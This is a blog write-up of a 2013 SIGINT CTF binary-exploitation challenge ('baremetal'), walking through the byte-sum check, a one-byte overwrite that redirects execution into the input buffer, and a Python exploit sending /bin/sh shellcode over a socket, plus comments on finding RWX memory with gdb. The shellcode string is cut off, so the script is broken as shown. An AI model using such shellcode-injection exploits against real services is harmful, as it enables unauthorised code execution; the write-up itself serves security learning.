Monday, July 8, 2013

SIGINT CTF - pwning 100 - baremetal - [Team xbios]

We have a 32 bit ELF executable, with RWX permission in stack and 0x08049000-0x0804a000 memory. 61 bytes of user input is taken using read() function. Then the binary performs couple of checks

[*] User input should be greater than 32 bytes
[*] The sum total of value of each byte, should be 0x1ee7. This is done by looping through user input till a NUL byte is hit
[ctf@renorobert SIGINT]$ objdump -d -M intel ./baremetal | grep cmp
 80480cb: 83 f8 20              cmp    eax,0x20
 80480df: 81 fb e7 1e 00 00     cmp    ebx,0x1ee7
Once these checks are passed, we could see
0x80480e7: lea ecx, ptr [0x8049204]
0x80480ed: movzx ebx, byte ptr [ecx]
0x80480f0: test ebx, ebx
0x80480f2: jz 0x80480fb
0x80480f4: call 0x804813b
0x804813b: pop edi
0x804813c: jmp edi
0x80480f9: jmp ecx
ECX points to 0x8049204, which has the bytes 0xe7ff4747. This is nothing but
00000000  47                inc edi
00000001  47                inc edi
00000002  FFE7              jmp edi
With 61 bytes as input we can overwrite one byte of the above sequence. So we have to figure out a way to redirect execution to the user buffer using this one byte overwrite. At this point register EAX points to 0x80491c8, which is start of the read() buffer.

We wrote a python script to generate all possible instructions for bytes 0 to 255 using ndisasm. Byte 0x97 gave the instruction necessary to redirect execution to user buffer
00000000  97                xchg eax,edi
00000001  47                inc edi
00000002  FFE7              jmp edi
Using this sequence we can jump to the address 0x80491c9. Our payload should satisfy the cmp ebx,0x1ee7 check. Here is the final exploit
#!/usr/bin/env python

from struct import pack
import socket

ip = ''
port = 1024

shellcode = ("\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" +
             "\x73\x68\x68\x2f\x62\x69\x6e\x89" +

overwrite = pack("B", 0x97)
# xchg eax,edi
# inc edi
# jmp edi

padding = pack("B", 0x90) * 37 + pack("B", 0x00)
payload = pack("B", 0x0f) + shellcode + padding + overwrite # 1st byte is skipped due to inc edi

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send(payload + "cat /home/challenge/flag\n")
print soc.recv(1024)
print soc.recv(1024)
Running this we got the flag SIGINT_are_you_getting_warmed_up?


  1. great write up, thx !
    just one question, how did u know the stack was RWX? i tried a readelf -l and script without success...

    1. Hey thanks :) I used GDB to find the permissions.

      [ctf@renorobert ~]$ gdb -q ./baremetal
      Reading symbols from /home/ctf/baremetal...(no debugging symbols found)...done.
      (gdb) catch syscall read
      Catchpoint 1 (syscall 'read' [3])
      (gdb) run
      Starting program: /home/ctf/baremetal
      baremetal online

      Catchpoint 1 (call to syscall read), 0x0804817a in ?? ()
      (gdb) info program
      Using the running image of child process 11601.
      Program stopped at 0x804817a.
      It stopped at breakpoint 1.
      (gdb) shell cat /proc/11601/maps
      08048000-08049000 r-xp 00000000 08:08 128753 /home/ctf/baremetal
      08049000-0804a000 rwxp 00000000 08:08 128753 /home/ctf/baremetal
      f7ffd000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
      fffe9000-ffffe000 rwxp 00000000 00:00 0 [stack]

      In the memory map you can see the stack and address range 0x08049000-0x0804a000 (.bss/.data segment) marked as RWX

  2. great ! thx for the explanations